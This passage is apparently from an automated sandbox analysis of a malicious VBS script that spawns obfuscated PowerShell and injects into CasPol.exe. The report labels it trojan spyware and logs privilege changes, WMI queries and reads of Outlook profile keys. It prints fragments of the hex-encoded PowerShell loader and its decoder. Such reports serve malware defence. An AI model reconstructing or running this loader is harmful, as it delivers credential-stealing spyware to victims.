'ECCBD3CACEC0';$Ghegish3=Smertensbarns0 'F5D0C7C9CCC68985EDCCC1C0E7DCF6CCC28985EBC0D2F6C9CAD18985F3CCD7D1D0C4C9';$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4C9E4C9C9CAC6';$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8C0C8CAD7DC';$Ghegish7=Smertensbarns0 'ECE0FD';$Ghegish8=Smertensbarns0 'F9';function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0 '81EED7C8C8C0D7C0CB8598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE2C0D1E4D6D6C0C8C7C9CCC0D68D8C85D985F2CDC0D7C088EAC7CFC0C6D185DE8581FA8BE2C9CAC7C4C9E4D6D6C0C8C7C9DCE6C4C6CDC08588E4CBC18581FA8BE9CAC6C4D1CCCACB8BF6D5C9CCD18D81E2CDC0C2CCD6CD9D8CFE8894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6958C85D88C8BE2C0D1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6948C';&($Ghegish7) $Hoeres0;$Hoeres5 = Smertensbarns0 '81E6CDCCC9C985988581EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6978985FEF1DCD5C0FEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D696898581E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6918C8C';&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCC9C98BECCBD3CACEC08D81CBD0C9C98985E58DFEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3F88DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CC	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D45AAB6 AdjustTokenPrivileges,		7_2_1D45AAB6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D45AA7F AdjustTokenPrivileges,		7_2_1D45AA7F

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ai3mehq5.lyv.ps1

Jump to behavior

Source: classification engine

Classification label: mal96.troj.spyw.evad.winVBS@7/4@2/2

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8248:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8248:304:WilStaging_02

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\TT_COPY.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Vildmnd = """SaFLauConFacGatUniStoUnnLi suSSemLeeAurGltIneFrnAnsFrbAnaCarIrnPrsre0St To{Ch Ir Al Ud DopCoaSerUsaPemAn(Th[FoSRetHorKoiBonSagSu]In`$NoRAfenoguniHyoOpnMesHapFrlInathnStlVaoIsvUnsel)Bo;Hu In Po Fe Fo`$DiDOceWilMuiUnnPhtBaeHerJuvSyaNalPrlGaeTorKonIfeCosDi No=Br WhNBeetrwKo-FjOKobThjRaeLecCotUn BebStyEntCieKo[cu]Hu Cr(Hy`$mrRDreOagviiMyoBanTvsKvpEklOvaacnFrlSloHovsosPi.SuLAbeNenWagSmtHuhTh No/Be Ze2Co)St;Pe Sk Gt Mi SuFUdomerOm(cr`$ArKUblVaiOvsSetUnrEmiAznTeggeeUnrGu=Al0re;Un Tr`$SpKTjlDriMesAktSurFoiUnnCagMeeSarIc He-FalBrtKa Ac`$TiRWieUdgUdiDeoRanObsSkpRelMiaPrnAnlreoAlvInsfo.BoLTreFanPrgFrtSthDd;Uu Sp`$SyKFolGoiAlsExtinrTriLinUngSkeIcrRe+Fl=Zi2he)Le{Ga Ys Un Pa Pr Te Ta Il Af`$TrDBreNolFoiSenFotCaeBrrduvPeaArlMulIneTrrFonSheHysSa[Re`$ReKOmlPaiDasTrtBurOritenVegDoeDirOp/Sw2Be]Em Gk=Lo Co[PocOnoSunTivUneMarKrtTa]Vi:tr:WiTReoRoBVgyEttWaeDe(Ma`$GrRWheFogTuiAnoNonBysDipLolDeaFonPrlUdoFovGrsUn.PaSFoucobDusBrtForCliMenTugli(Ja`$CeKMelIciAysAftMirGriCinUvgUneStrSe,Fu te2Ho)Ko,Sk Ba1Ti6Va)Fl;Ga Va Ar`$UnDSceKelPiirenFltpeeDorTevStaColFjlTrePerAcnOveDisLa[Ca`$AfKtalIdiKlsCotskrHyiUnnBrgsueAsrte/Mo2Pe]Le Zo=Mi Ne(ne`$PiDsleaulSuiFanmytFjeAnrFevTeaPrlnolKreLurFrnByeThsOb[Ek`$BaKUdltriOrsLatserOsiChnJegSkeThrSp/Er2Mu]Bi Be-prbmeximoForGr Es1Sk6St5Fr)De;Ar kn Gi An Ma}He Vn[ReSGatakrHaiSinLogOx]fi[TaSmoyCosHatPaeChmOr.unTAleAbxOvtFo.ExEkvnNocAaoMedStiHonAsgBo]No:Bi:TiADiSBeCGrILaIHu.raGCoeVitKoSVatprrUniLanSugHa(Ec`$MaDExeKvlFaiFlnBatEnePorssvFuaJalInlIneGorExnBieWhsAn)Eq;Pa}St`$RiFUpoKorsksInkMinVeiFanDugMesrerLieBrsOvuRelHotIdaUrtDieKtrDesfa0In=SiSHimUfecergotafePrnknsvibHeaHyrEknmissi0Fi Dr'MeFSv6AfDSnCfaDSu6SuDVe1InCHj0AfCUn8Da8UdBBvCMa1BaCre9VaCOr9Sa'Un;Al`$LiFodoKerHosLikConHuiTrnSpgDoslarSueEjsTeuTelVetBiaGrtReeOvransLe1Wa=OuSLumMoeUrrBrtUmeKanHyspobMuaWirInnAnsNo0Br No'UdEAn8KoCRuCUnCdo6TrDWo7cuCcuAFaDha6LyCDiAUnCNe3KrDCa1ma8FlBImFDi2DdCDyCSaCGrBSe9Am6Ch9Ok7Re8grBskFhu0ReCFiBMoDDi6NaCCo4SkCUn3HiCBr0KeETrBPoCSh4GrDRe1AnCBoCYnDSo3MiCAf0SaEUn8SaCTo0TiDCo1ScCZoDNoCFlAMeCut1KoDSe6Bo'Sq;Gr`$FiFDooStrnosKokIdnCoiblnSkgJosSprDaeTssTeuUnlSttSvaPrtHoeChrHysDi2Ny=PoSUmmPeeKnrqutCleHonidsFobFoaPrrUnnKosPo0Ra Ve'TrEPa2ImCRe0spDpr1VaFCa5TeDPa7lyCBrAHeCSi6DiEIr4VaCFr1DaCVa1UpDDu7TeCGy0hoDRe6UdDSu6De'Me;Ud`$GrFTeolerLusCukClnRaiSanHagcisCyrBeeDesVauSylFotSkaAntmueSarUdsEt3La=RaSStmEkeSkrSatHueSunTrsInbBeaHerRonFosKu0He Co'FrFRe6slDMeCFoDin6BeDOp1ToCBu0CoCUl8Gu8MeBUnFCo7OpDMo0MaCWeBJaDVi1plCJoCArCSh8BaCSt0nu8CoBMeEReCDiCFeBTaDLy1soCOm0EuDAf7ReCSuAtoDDh5brFVa6PsCIn0FeDDi7maDBa3KaCChCReCMe6FlCde0UiDHu6Re8ReBGeEseDBaCSp4KlCStBryCca1SkCfr9DaCke0EsFMi7UnCdu0PrCAs3hf'Gr;De`$PoFChoMirPesDikFlnIniBanovgSasMarKaeGrsBeuValFotFraTrtHieAlrStsKl4Da=FoSnomfjegorSvtGreBunKasLgbSparorUnnSosIn0Al Gr'JoDAd6enDSe1PeDch7DiCPrCAmCSyBFrCPi2Mu'Ra;We`$IrFBroLurSusCoktonFeiAnnNogTasMirpieLiscauTalExtKaaSptDoeunrSisIr5Do=OcSMimBaeStrRetLteSonFusUdbGraMurFonMosDr0M			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF825BB00BD pushad ; iretd	2_2_00007FF825BB00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF825BB0428 push E95D2E73h; ret	2_2_00007FF825BB0459
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CC6629 push ss; retf 0000h	7_2_00CC662A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00CC6638 push ss; retf 0000h	7_2_00CC667A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00DAC431 push 00000039h; ret	7_2_00DAC434
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D452551 pushfd ; ret	7_2_1D45255A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D453450 push edx; ret	7_2_1D453462
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D45255D push esp; ret	7_2_1D452566
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D453168 push 8140738Fh; ret	7_2_1D45320A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D45343D push esi; ret	7_2_1D45343E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D4533C2 push edi; ret	7_2_1D4533D2
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D4524DC push esp; ret	7_2_1D452566
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_1D4526F8 push esp; ret	7_2_1D45276A

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
